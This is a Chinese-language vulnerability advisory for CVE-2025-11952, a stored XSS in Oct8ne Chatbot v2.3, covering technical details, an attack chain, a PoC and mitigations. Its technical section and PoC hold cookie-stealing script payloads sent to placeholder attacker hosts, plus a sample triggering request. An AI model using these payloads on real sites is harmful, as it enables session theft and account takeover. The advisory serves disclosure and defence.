CVE-2025-11952：Oct8ne Chatbot 存储型XSS漏洞

漏洞信息

漏洞编号

CVE-2025-11952

漏洞类型

存储型跨站脚本（Stored XSS）

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

Oct8ne Chatbot

漏洞概述

CVE-2025-11952是Oct8ne Chatbot v2.3中存在的一个存储型跨站脚本（Stored XSS）漏洞。该漏洞由西班牙国家网络安全研究所（INCIBE）发现并报告，CVSS 3.1评分为6.1分，属于中危级别漏洞。该漏洞允许攻击者通过聊天机器人平台创建包含恶意JavaScript代码的对话记录（transcript），当这些记录通过电子邮件发送给受害者时，恶意脚本将在受害者的浏览器中执行。由于Oct8ne Chatbot是一款广泛应用于电商网站的在线客服与聊天机器人插件，该漏洞可能影响大量使用该产品的网站及其终端用户。攻击者可以利用此漏洞窃取用户的敏感信息，包括会话Cookie、登录凭证等，进而冒充用户执行操作，如未授权购买、修改账户设置等。该漏洞的核心问题在于应用未能对用户输入进行充分的过滤和转义处理，导致恶意脚本被持久化存储在服务器端，并在后续的邮件展示中被执行。

技术细节

该漏洞存在于Oct8ne Chatbot v2.3的/Records/SendSummaryMail端点中。具体技术原理如下：

1. Oct8ne Chatbot允许用户创建聊天记录（transcript），这些记录可以包含用户输入的内容。
2. 应用程序在处理聊天记录时，未对用户输入的特殊字符（如<、>、"、'等）进行适当的HTML实体编码或过滤。
3. 攻击者可以构造包含恶意JavaScript代码的聊天内容，例如：<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>。
4. 该恶意payload被存储在服务器端的数据库中，属于存储型XSS。
5. 当聊天记录通过/Records/SendSummaryMail端点以电子邮件形式发送给受害者时，恶意脚本将在受害者打开邮件或查看记录时执行。
6. 由于攻击者控制的JavaScript在受害者的浏览器上下文中执行，可以访问会话Cookie、localStorage等敏感数据，并代表用户执行任意操作。

漏洞利用条件：无需认证（PR:N），但需要用户交互（UI:R）——受害者需要打开包含恶意脚本的邮件或聊天记录。攻击向量为网络（AV:N），影响范围为变更（S:C），表明该漏洞可以影响到其他安全域。

攻击链分析

STEP 1

步骤1

攻击者访问目标网站并与Oct8ne Chatbot进行交互，在聊天内容中注入恶意JavaScript payload（如窃取Cookie的脚本）

STEP 2

步骤2

恶意payload通过聊天功能被存储到Oct8ne Chatbot的服务器端数据库中，形成持久化的恶意内容

STEP 3

步骤3

攻击者触发/Records/SendSummaryMail端点，将包含恶意脚本的聊天记录通过电子邮件发送给受害者

STEP 4

步骤4

受害者收到邮件并查看聊天记录内容，浏览器解析邮件中的HTML时执行恶意JavaScript代码

STEP 5

步骤5

恶意脚本在受害者浏览器上下文中执行，窃取会话Cookie、登录凭证等敏感信息，或代表用户执行未授权操作

STEP 6

步骤6

攻击者利用窃取的会话信息劫持受害者账户，进行进一步的攻击活动，如未授权购买、数据窃取等

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

// Step 1: Attacker creates a chat session with Oct8ne Chatbot // Step 2: Attacker injects malicious JavaScript payload in the chat content // Malicious payload to be injected into the chat transcript: <script> // Steal session cookies and send to attacker server var img = new Image(); img.src = 'https://attacker-server.com/steal?cookie=' + encodeURIComponent(document.cookie); // Alternatively, redirect user to phishing page // window.location = 'https://attacker-server.com/phishing'; // Or perform actions on behalf of the user // fetch('/api/user/update', {method: 'POST', body: JSON.stringify({email: '[email protected]'})}); </script> // Step 3: The payload is stored in the backend database // Step 4: When a legitimate user requests the transcript via /Records/SendSummaryMail, // the malicious script executes in the victim's browser context // Example HTTP request to trigger the vulnerability: // POST /Records/SendSummaryMail HTTP/1.1 // Host: target-oct8ne-chatbot.com // Content-Type: application/x-www-form-urlencoded // // chatId=victim_chat_id&[email protected]&message=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

影响范围

Oct8ne Chatbot 2.3

防御指南

临时缓解措施

在官方修复版本发布之前，建议采取以下临时缓解措施：1）在Web应用防火墙（WAF）中部署XSS检测规则，阻止包含<script>标签等恶意payload的请求；2）在邮件系统中对聊天记录内容进行HTML清理，过滤危险标签和属性；3）为所有会话Cookie添加HttpOnly和Secure标记，降低Cookie被窃取的风险；4）实施严格的内容安全策略（CSP），限制内联脚本执行；5）监控/Records/SendSummaryMail端点的异常访问行为；6）限制未认证用户创建聊天记录的功能。